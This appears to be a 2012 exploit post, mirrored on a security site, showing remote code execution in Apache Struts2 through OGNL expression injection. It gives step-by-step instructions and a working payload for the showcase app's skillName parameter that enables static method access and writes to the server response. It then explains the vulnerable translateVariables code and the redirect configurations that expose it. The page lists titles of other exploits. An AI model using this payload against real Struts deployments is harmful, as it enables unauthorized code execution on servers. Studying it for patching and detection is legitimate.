首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache Struts2 Remote Code Execution
来源:http://www.inbreak.net 作者:kxlzx 发布时间:2012-08-24  
this method was published at xcon2012 xcon.xfocus.net.
kxlzx http://www.inbreak.net

flow this and step by step:

1, down load struts2-showcase from struts.apache.org
2, run struts2-showcase.
3, open url:
http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV
4, write skill name to %{expr} for example:
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
5, submit and all will done.

this method:
public static String translateVariables(String expression, ValueStack stack) {
        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
    }
look two char "$" and "%"

and
this method:

    public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        for (char open : openChars) {
.........
            while (true) {
..........
                    String var = expression.substring(start + 2, end);

                    Object o = stack.findValue(var, asType);
............
if user input is "%{expr}"
this will execute ognl like:
${%{expr}}

this need devloper code like:

<action name="redirect" class="net.inbreak.RedirectAction">
       <result name="redirect" type="redirect">${redirectUrl}</result>
</action>

or like:
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
           <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>

----------
kxlzx at alibaba security team.
my blog :http://www.inbreak.net

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Vice City Multiplayer Server 0
·E-Mail Security Virtual Applia
·XODA 0.4.5 Arbitrary PHP File
·SAP Netweaver Dispatcher 7.0 E
·WireShark 1.8.2 & 1.6.0 Buffer
·Symantec Web Gateway <= 5.0.3.
·Express Burn Plus 4.58 Buffer
·Symantec Web Gateway <= 5.0.3.
·Java 7 Applet Remote Code Exec
·Sysax Multi Server 5.64 Create
·Zabbix Server Arbitrary Comman
·Java 7 Applet Remote Code Exec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved